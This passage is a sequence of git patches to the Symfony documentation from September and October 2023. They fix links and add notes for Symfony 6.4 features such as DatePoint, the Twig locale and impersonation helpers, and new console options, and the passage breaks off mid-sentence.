From 3cab82532054b6f576181658e1349aa732f96127 Mon Sep 17 00:00:00 2001
From: Kevin Papst <kevinpapst@users.noreply.github.com>
Date: Tue, 26 Sep 2023 11:58:37 +0200
Subject: [PATCH 5218/7107] fixed broken links for relative dateformats

---
 rate_limiter.rst | 2 +-
 security.rst     | 3 ++-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 03d0c77e3d2..178d0d59229 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -532,5 +532,5 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
-.. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative
+.. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
 .. _`Race conditions`: https://en.wikipedia.org/wiki/Race_condition
diff --git a/security.rst b/security.rst
index 8593f720f7f..365e1c60aaa 100644
--- a/security.rst
+++ b/security.rst
@@ -2722,4 +2722,5 @@ Authorization (Denying Access)
 .. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
-.. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative
+.. _`SensitiveParameter PHP attribute`: https://wiki.php.net/rfc/redact_parameters_in_back_traces
+.. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative

From a938b6d7638c47d0dfc336730e417fc313fb2ba9 Mon Sep 17 00:00:00 2001
From: Piotr Potrawiak <toci-to-ci@users.noreply.github.com>
Date: Wed, 20 Sep 2023 13:15:47 +0200
Subject: [PATCH 5219/7107] Update entity.rst

query_builder option - more clear explained
---
 reference/forms/types/entity.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 884ab26a0d0..abd335d6eb9 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -49,7 +49,7 @@ Using a Custom Query for the Entities
 
 If you want to create a custom query to use when fetching the entities
 (e.g. you only want to return some entities, or need to order them), use
-the `query_builder`_ option::
+the `query_builder`_ option. Please note, that `query_builder` is used to compose data, not fetch real final results::
 
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;

From 86580e7238f4faa05306ed6da9d3b602afe264fd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Sep 2023 12:45:42 +0200
Subject: [PATCH 5220/7107] Reword

---
 reference/forms/types/entity.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index abd335d6eb9..e87336c2ec6 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -49,7 +49,8 @@ Using a Custom Query for the Entities
 
 If you want to create a custom query to use when fetching the entities
 (e.g. you only want to return some entities, or need to order them), use
-the `query_builder`_ option. Please note, that `query_builder` is used to compose data, not fetch real final results::
+the `query_builder`_ option (which must be a ``QueryBuilder`` object, a closure
+returning a ``QueryBuilder`` object or ``null`` to load all entities)::
 
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;

From bd58134ee8c98be90c1a3ac45f31dafd08ea4e3b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 26 Sep 2023 17:54:39 +0200
Subject: [PATCH 5221/7107] [Authenticator] Improve the first example

---
 security/custom_authenticator.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 8dbeeaf287a..60604fce11b 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -49,7 +49,11 @@ method that fits most use-cases::
                 throw new CustomUserMessageAuthenticationException('No API token provided');
             }
 
-            return new SelfValidatingPassport(new UserBadge($apiToken));
+            // implement your own logic to get the user identifier from `$apiToken`
+            // e.g. by finding one user in database by its API key
+            $userIdentifier = /** ... */;
+
+            return new SelfValidatingPassport(new UserBadge($userIdentifier));
         }
 
         public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response

From 53fb35b756e4963f821653b910751b399c4e1b0d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 27 Sep 2023 17:35:34 +0200
Subject: [PATCH 5222/7107] Minor tweak

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 60604fce11b..e79ea010ecd 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -50,7 +50,7 @@ method that fits most use-cases::
             }
 
             // implement your own logic to get the user identifier from `$apiToken`
-            // e.g. by finding one user in database by its API key
+            // e.g. by looking up a user in the database using its API key
             $userIdentifier = /** ... */;
 
             return new SelfValidatingPassport(new UserBadge($userIdentifier));

From d1522a7a87a751b66e32a0eab01fdb7a0c11c237 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 27 Sep 2023 17:49:19 +0200
Subject: [PATCH 5223/7107] Remove an unused reference

---
 security.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security.rst b/security.rst
index 365e1c60aaa..df77a940ec1 100644
--- a/security.rst
+++ b/security.rst
@@ -2722,5 +2722,4 @@ Authorization (Denying Access)
 .. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
-.. _`SensitiveParameter PHP attribute`: https://wiki.php.net/rfc/redact_parameters_in_back_traces
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative

From f46ccf220eb3b842bb0638b28f9197e9f19a4870 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 27 Sep 2023 23:22:05 +0200
Subject: [PATCH 5224/7107] Update FormEvents Data and Form Data description

---
 form/events.rst | 75 ++++++++++++++++++++++++++-----------------------
 1 file changed, 40 insertions(+), 35 deletions(-)

diff --git a/form/events.rst b/form/events.rst
index 40b530b88f2..44cb6cc0074 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -67,13 +67,14 @@ The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
 is locked since the event is dispatched from it and will throw an exception
 if called from a listener.
 
-===============  ========
-Data Type        Value
-===============  ========
-Model data       ``null``
-Normalized data  ``null``
-View data        ``null``
-===============  ========
+====================  ======================================
+Data Type             Value
+====================  ======================================
+Event data            Model data injected into ``setData()``
+Form model data       ``null``
+Form normalized data  ``null``
+Form view data        ``null``
+====================  ======================================
 
 .. seealso::
 
@@ -98,13 +99,14 @@ The ``FormEvents::POST_SET_DATA`` event is dispatched at the end of the
 method. This event can be used to modify a form depending on the populated data
 (adding or removing fields dynamically).
 
-===============  ====================================================
-Data Type        Value
-===============  ====================================================
-Model data       Model data injected into ``setData()``
-Normalized data  Model data transformed using a model transformer
-View data        Normalized data transformed using a view transformer
-===============  ====================================================
+====================  ====================================================
+Data Type             Value
+====================  ====================================================
+Event data            Model data injected into ``setData()``
+Form model data       Model data injected into ``setData()``
+Form normalized data  Model data transformed using a model transformer
+Form view data        Normalized data transformed using a view transformer
+====================  ====================================================
 
 .. seealso::
 
@@ -144,13 +146,14 @@ It can be used to:
 * Change data from the request, before submitting the data to the form;
 * Add or remove form fields, before submitting the data to the form.
 
-===============  ========================================
-Data Type        Value
-===============  ========================================
-Model data       Same as in ``FormEvents::POST_SET_DATA``
-Normalized data  Same as in ``FormEvents::POST_SET_DATA``
-View data        Same as in ``FormEvents::POST_SET_DATA``
-===============  ========================================
+====================  ========================================
+Data Type             Value
+====================  ========================================
+Event data            Data from the request
+Form model data       Same as in ``FormEvents::POST_SET_DATA``
+Form normalized data  Same as in ``FormEvents::POST_SET_DATA``
+Form view data        Same as in ``FormEvents::POST_SET_DATA``
+====================  ========================================
 
 .. seealso::
 
@@ -175,13 +178,14 @@ transforms back the normalized data to the model and view data.
 
 It can be used to change data from the normalized representation of the data.
 
-===============  ===================================================================================
-Data Type        Value
-===============  ===================================================================================
-Model data       Same as in ``FormEvents::POST_SET_DATA``
-Normalized data  Data from the request reverse-transformed from the request using a view transformer
-View data        Same as in ``FormEvents::POST_SET_DATA``
-===============  ===================================================================================
+====================  ===================================================================================
+Data Type             Value
+====================  ===================================================================================
+Event data            Data from the request reverse-transformed from the request using a view transformer
+Form model data       Same as in ``FormEvents::POST_SET_DATA``
+Form normalized data  Same as in ``FormEvents::POST_SET_DATA``
+Form view data        Same as in ``FormEvents::POST_SET_DATA``
+====================  ===================================================================================
 
 .. seealso::
 
@@ -207,13 +211,14 @@ model and view data have been denormalized.
 
 It can be used to fetch data after denormalization.
 
-===============  =============================================================
-Data Type        Value
-===============  =============================================================
-Model data       Normalized data reverse-transformed using a model transformer
-Normalized data  Same as in ``FormEvents::SUBMIT``
-View data        Normalized data transformed using a view transformer
-===============  =============================================================
+====================  ===================================================================================
+Data Type             Value
+====================  ===================================================================================
+Event data            Normalized data transformed using a view transformer
+Form model data       Normalized data reverse-transformed using a model transformer
+Form normalized data  Data from the request reverse-transformed from the request using a view transformer
+Form view data        Normalized data transformed using a view transformer
+====================  ===================================================================================
 
 .. seealso::
 

From 6c1fc1765897797c6a5ed26127c577b2fd595ce4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Sep 2023 15:21:36 +0200
Subject: [PATCH 5225/7107] Add missing versionadded

---
 mailer.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index e817324f001..866b63c3b00 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -344,6 +344,9 @@ may be specified in sha1 (40 characters) or md5 (32 characters)::
 
     $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E';
 
+.. versionadded:: 6.4
+
+    The ``peer_fingerprint`` option was introduced in Symfony 6.4.
 
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From bde97b5a497f52bbd09f88966e4792835338786e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Sep 2023 15:21:59 +0200
Subject: [PATCH 5226/7107] Minor

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 866b63c3b00..880ef66a879 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -340,7 +340,7 @@ TLS Peer Fingerprint Verification
 Additional fingerprint verification can be enforced with the ``peer_fingerprint``
 option. This is especially useful when a self-signed certificate is used and
 disabling ``verify_peer`` is needed, but security is still desired. Fingerprint
-may be specified in sha1 (40 characters) or md5 (32 characters)::
+may be specified as SHA1 or MD5 hash::
 
     $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E';
 

From ce5e0be33c48c4c63a9061b9258e298f99856586 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Sep 2023 15:36:27 +0200
Subject: [PATCH 5227/7107] Clarify MapRequestPayload with nested arrays

---
 controller.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/controller.rst b/controller.rst
index 9460f21f213..0f2d5b76bac 100644
--- a/controller.rst
+++ b/controller.rst
@@ -502,6 +502,26 @@ payload formats::
         // ...
     }
 
+Make sure to install `phpstan/phpdoc-parser`_ and `phpdocumentor/type-resolver`_
+if you want to map a nested array of specific DTOs::
+
+    public function dashboard(
+        #[MapRequestPayload()] EmployeesDTO $employeesDto
+    ): Response
+    {
+        // ...
+    }
+
+    final class EmployeesDTO
+    {
+        /**
+         * @param UserDTO[] $users
+         */
+        public function __construct(
+            public readonly array $users = []
+        ) {}
+    }
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` attribute
@@ -771,3 +791,5 @@ Learn more about Controllers
 .. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 .. _`FrankenPHP`: https://frankenphp.dev
 .. _`Validate Filters`: https://www.php.net/manual/en/filter.filters.validate.php
+.. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser
+.. _`phpdocumentor/type-resolver`: https://packagist.org/packages/phpdocumentor/type-resolver

From 35267423287eb0325d326ec575e6bf393123b2a9 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 26 Sep 2023 18:22:58 +0200
Subject: [PATCH 5228/7107] [Security] Mention customizing successful and
 failed authentication

---
 security.rst            | 14 ++++++++++++++
 security/login_link.rst |  2 ++
 2 files changed, 16 insertions(+)

diff --git a/security.rst b/security.rst
index 5b38acb53ea..1ed65029c86 100644
--- a/security.rst
+++ b/security.rst
@@ -1602,6 +1602,20 @@ and set the ``limiter`` option to its service ID:
             ;
         };
 
+Customize Successful and Failed Authentication Behavior
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to customize the success or failure handling process, instead of
+overwriting the respective listeners globally, you can set custom success
+failure handlers by implementing the
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`
+or the
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
+
+If you want more information about this, you can have a look at the section
+about
+:ref:`customizing your success handler <login-link_customize-success-handler>`.
+
 .. _security-logging-out:
 
 Logging Out
diff --git a/security/login_link.rst b/security/login_link.rst
index 4dea64c7662..d747202ff93 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -693,6 +693,8 @@ from the first hash value and the ``kernel.secret`` container parameter. This
 allows Symfony to sign this final hash, which is contained in the login URL.
 The final hash is also a Base64 encoded SHA-256 hash.
 
+.. _login-link_customize-success-handler:
+
 Customizing the Success Handler
 -------------------------------
 

From f14bc1437b71d35b35968fa8c7e49bb81fe58120 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 26 Sep 2023 18:50:47 +0200
Subject: [PATCH 5229/7107] [Clock] Add `DatePoint`

---
 components/clock.rst | 55 +++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 54 insertions(+), 1 deletion(-)

diff --git a/components/clock.rst b/components/clock.rst
index e098dc6a3b1..19bb51ae6ea 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -30,6 +30,8 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
+.. _clock_usage:
+
 Usage
 -----
 
@@ -60,7 +62,7 @@ The Clock component also provides the ``now()`` function::
 
     use function Symfony\Component\Clock\now;
 
-    // Get the current time as a DateTimeImmutable instance
+    // Get the current time as a DatePoint instance
     $now = now();
 
 The ``now()`` function takes an optional ``modifier`` argument
@@ -73,6 +75,9 @@ which will be applied to the current time::
 You can use any string `accepted by the DateTime constructor`_.
 
 Later on this page you can learn how to use this clock in your services and tests.
+When using the Clock component, you manipulate
+:class:`Symfony\\Component\\Clock\\DatePoint` instances. You can learn more
+about it in :ref:`the dedicated section <clock_date-point>`.
 
 .. versionadded:: 6.3
 
@@ -207,6 +212,53 @@ being in a month or another.
 
     The :class:`Symfony\\Component\\Clock\\ClockAwareTrait` was introduced in Symfony 6.3.
 
+.. _clock_date-point:
+
+The ``DatePoint`` Class
+-----------------------
+
+The Clock component uses a special :class:`Symfony\\Component\\Clock\\DatePoint`
+class. This is a small wrapper on top of PHP's :phpclass:`DateTimeImmutable`.
+You can use it seamlessly everywhere a :phpclass:`DateTimeImmutable` or
+:phpclass:`DateTimeInterface` is expected. The ``DatePoint`` object fetches the
+date and time from the :class:`Symfony\\Component\\Clock\\Clock` class. This means
+that if you did any changes to the clock as stated in the
+:ref:`usage section <clock_usage>`, it will be reflected when creating a new
+``DatePoint``. You can also create a new ``DatePoint`` instance directly, for
+instance when using it as a default value::
+
+    use Symfony\Component\Clock\DatePoint;
+
+    class Post
+    {
+        public function __construct(
+            // ...
+            private \DateTimeImmutable $createdAt = new DatePoint(),
+        ) {
+        }
+    }
+
+The constructor also allows setting a timezone or custom referenced date::
+
+    // you can specify a timezone
+    $withTimezone = new DatePoint(timezone: new \DateTimezone('UTC'));
+
+    // you can also create a DatePoint from a reference date
+    $referenceDate = new \DateTimeImmutable();
+    $relativeDate = new DatePoint('+1month', reference: $referenceDate);
+
+.. note::
+    In addition ``DatePoint`` offers stricter return types and provides consistent
+    error handling across versions of PHP, thanks to polyfilling `PHP 8.3's behavior`_
+    on the topic.
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Clock\\DatePoint` class was introduced
+    in Symfony 6.4.
+
+.. _clock_writing-tests:
+
 Writing Time-Sensitive Tests
 ----------------------------
 
@@ -294,3 +346,4 @@ use them even if your project doesn't use PHP 8.3 yet.
 .. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
 .. _`PHP DateTime exceptions`: https://wiki.php.net/rfc/datetime-exceptions
 .. _`symfony/polyfill-php83`: https://github.com/symfony/polyfill-php83
+.. _`PHP 8.3's behavior`: https://wiki.php.net/rfc/datetime-exceptions

From 2ff728fb946b316f7d4381b6d44ba97e28b7793c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 29 Sep 2023 12:41:03 +0200
Subject: [PATCH 5230/7107] minor

---
 components/clock.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/clock.rst b/components/clock.rst
index 19bb51ae6ea..f58124c70af 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -248,6 +248,7 @@ The constructor also allows setting a timezone or custom referenced date::
     $relativeDate = new DatePoint('+1month', reference: $referenceDate);
 
 .. note::
+
     In addition ``DatePoint`` offers stricter return types and provides consistent
     error handling across versions of PHP, thanks to polyfilling `PHP 8.3's behavior`_
     on the topic.

From 7e4c376c6568ae3c96158d3d6b7f7ce19de70d7b Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Fri, 29 Sep 2023 12:54:06 +0200
Subject: [PATCH 5231/7107] [Console] Fix codeblock markup

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index e9e3ebea4cc..bb445b6b148 100644
--- a/console.rst
+++ b/console.rst
@@ -585,7 +585,7 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 When testing your commands, it could be useful to understand how your command
 reacts on different settings like the width and the height of the terminal.
 You have access to such information thanks to the
-:class:`Symfony\\Component\\Console\\Terminal` class:
+:class:`Symfony\\Component\\Console\\Terminal` class::
 
     use Symfony\Component\Console\Terminal;
 

From 833c6a32e941baa6570feaa4c2a501f17e16019b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Sat, 30 Sep 2023 20:24:08 +0200
Subject: [PATCH 5232/7107] [WebProfilerBundle] Document `!` operator negating
 url filter

---
 profiler.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index e8b587eb9c1..b21132a5816 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -79,15 +79,22 @@ look for tokens based on some criteria::
     // gets the latest 10 tokens
     $tokens = $profiler->find('', '', 10, '', '', '');
 
-    // gets the latest 10 tokens for all URL containing /admin/
+    // gets the latest 10 tokens for all URLs containing /admin/
     $tokens = $profiler->find('', '/admin/', 10, '', '', '');
 
+    // gets the latest 10 tokens for all URLs not containing /api/
+    $tokens = $profiler->find('', '!/api/', 10, '', '', '');
+
     // gets the latest 10 tokens for local POST requests
     $tokens = $profiler->find('127.0.0.1', '', 10, 'POST', '', '');
 
     // gets the latest 10 tokens for requests that happened between 2 and 4 days ago
     $tokens = $profiler->find('', '', 10, '', '4 days ago', '2 days ago');
 
+.. versionadded:: 6.4
+
+    Prefixing the URL filter with a ``!`` symbol to negate the query was introduced in Symfony 6.4.
+
 Data Collectors
 ---------------
 

From 189d0af74ab3eb78e881775df1779c8152d086a9 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 1 Oct 2023 10:48:38 +0200
Subject: [PATCH 5233/7107] [FrameworkBundle] Allow BrowserKit relative URL
 redirect assert

---
 testing.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index df24c4f8601..5e59ed56b1d 100644
--- a/testing.rst
+++ b/testing.rst
@@ -925,7 +925,8 @@ Response Assertions
     Asserts a specific HTTP status code.
 ``assertResponseRedirects(string $expectedLocation = null, int $expectedCode = null, string $message = '')``
     Asserts the response is a redirect response (optionally, you can check
-    the target location and status code).
+    the target location and status code). The excepted location can be either
+    an absolute or a relative path.
 ``assertResponseHasHeader(string $headerName, string $message = '')``/``assertResponseNotHasHeader(string $headerName, string $message = '')``
     Asserts the given header is (not) available on the response, e.g. ``assertResponseHasHeader('content-type');``.
 ``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')``
@@ -943,6 +944,10 @@ Response Assertions
 ``assertResponseIsUnprocessable(string $message = '')``
     Asserts the response is unprocessable (HTTP status is 422)
 
+.. versionadded:: 6.4
+    The support for relative path in ``assertResponseRedirects()`` was introduced
+    in Symfony 6.4.
+
 Request Assertions
 ..................
 

From 6171ba8a4866584bf8bf0c76b5b98e6d640bc11c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 1 Oct 2023 10:52:59 +0200
Subject: [PATCH 5234/7107] [Mime] Add TemplatedEmail::locale() to set the
 locale for the email rendering

---
 mailer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 8dc952f2fb9..9815cf3ca65 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -791,6 +791,9 @@ for Twig templates::
         // path of the Twig template to render
         ->htmlTemplate('emails/signup.html.twig')
 
+        // change locale used in the template, e.g. to match user's locale
+        ->locale('de')
+
         // pass variables (name => value) to the template
         ->context([
             'expiration_date' => new \DateTime('+7 days'),
@@ -798,6 +801,11 @@ for Twig templates::
         ])
     ;
 
+.. versionadded:: 6.4
+
+    The :method:`Symfony\\Bridge\\Twig\\Mime\\TemplatedEmail::locale` method
+    was introduced in Symfony 6.4.
+
 Then, create the template:
 
 .. code-block:: html+twig

From e70ac9251293bd3c5e7b7d66666d34a4c40da63d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 1 Oct 2023 10:37:47 +0200
Subject: [PATCH 5235/7107] [Messenger] Add `--all` option to
 `messenger:failed:remove`

---
 messenger.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 75e613121b9..ef4dda2e99b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1105,10 +1105,18 @@ to retry them:
     # remove messages without retrying them and show each message before removing it
     $ php bin/console messenger:failed:remove 20 30 --show-messages
 
+    # remove all messages in the failure transport
+    $ php bin/console messenger:failed:remove --all
+
 .. versionadded:: 6.2
 
     The ``--class-filter`` and ``--stats`` options were introduced in Symfony 6.2.
 
+.. versionadded:: 6.4
+
+    The ``--all`` option was introduced in Symfony 6.4.
+
+
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.

From 2e53f5fcea98bf8772ff3d8785946455f1209676 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 1 Oct 2023 12:26:14 +0200
Subject: [PATCH 5236/7107] minor

---
 testing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/testing.rst b/testing.rst
index 3a0043f1984..4c8db86ad08 100644
--- a/testing.rst
+++ b/testing.rst
@@ -998,6 +998,7 @@ Response Assertions
     Asserts the response is unprocessable (HTTP status is 422)
 
 .. versionadded:: 6.4
+
     The support for relative path in ``assertResponseRedirects()`` was introduced
     in Symfony 6.4.
 

From b769bf23128afb1ddb02b731183953d112b042a3 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 2 Oct 2023 10:08:25 +0200
Subject: [PATCH 5237/7107] [TwigBridge] Add `AppVariable::getEnabledLocales()`

---
 templates.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/templates.rst b/templates.rst
index 3aeacce79a4..54749f6e65a 100644
--- a/templates.rst
+++ b/templates.rst
@@ -382,6 +382,8 @@ gives you access to these variables:
     empty array if no request is available (equivalent to ``app.request.attributes.get('_route_params')``)
 ``app.locale``
     The locale used in the current :ref:`locale switcher <locale-switcher>` context.
+``app.enabled_locales``
+    The locales enabled in the application
 
 .. versionadded:: 6.2
 
@@ -392,6 +394,10 @@ gives you access to these variables:
 
     The ``app.locale`` variable was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The ``app.enabled_locales`` variable was introduced in Symfony 6.4.
+
 In addition to the global ``app`` variable injected by Symfony, you can also
 inject variables automatically to all Twig templates as explained in the next
 section.

From eb7b339fd92ec4c8cf5fe358e1fc24388e02c1cc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 2 Oct 2023 10:12:34 +0200
Subject: [PATCH 5238/7107] [FrameworkBundle] Add `--show-aliases` option to
 `debug:router` command

---
 routing.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/routing.rst b/routing.rst
index 5aa2bf45095..ae7ccdcb6f8 100644
--- a/routing.rst
+++ b/routing.rst
@@ -462,6 +462,15 @@ route details:
     |             | utf8: true                                              |
     +-------------+---------------------------------------------------------+
 
+.. tip::
+
+    Use the ``--show-aliases`` option to show all available aliases for a given
+    route.
+
+.. versionadded:: 6.4
+
+    The ``--show-aliases`` option was introduced in Symfony 6.4.
+
 The other command is called ``router:match`` and it shows which route will match
 the given URL. It's useful to find out why some URL is not executing the
 controller action that you expect:

From cb975e563b6d2165183d620ea7c2edafe909e8b2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Cl=C3=A9ment=20Barbaza?= <cba85@users.noreply.github.com>
Date: Mon, 2 Oct 2023 10:17:38 +0200
Subject: [PATCH 5239/7107] Update PHPUnit docs links

---
 testing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 1d6c0e1ee11..cb272319ebb 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1131,12 +1131,12 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://docs.phpunit.de/
-.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html
-.. _`PHPUnit documentation`: https://docs.phpunit.de/en/9.6/configuration.html
+.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/10.3/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://docs.phpunit.de/en/10.3/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`PHPUnit Assertion`: https://docs.phpunit.de/en/9.6/assertions.html
+.. _`PHPUnit Assertion`: https://docs.phpunit.de/en/10.3/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From 061bc3f73dc01dbb802ced9d1fa3c87764a5c606 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 2 Oct 2023 10:58:01 +0200
Subject: [PATCH 5240/7107] [TwigBridge] Add new Twig bridge function to
 generate impersonation path

---
 reference/twig_reference.rst | 35 +++++++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index d94d8d500a9..7426fab8ebc 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -286,6 +286,41 @@ expression
 Creates an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` related
 to the :doc:`ExpressionLanguage component </components/expression_language>`.
 
+impersonation_path
+~~~~~~~~~~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ impersonation_path(identifier) }}
+
+``identifier``
+    **type**: ``string``
+
+Generates a URL that you can visit to
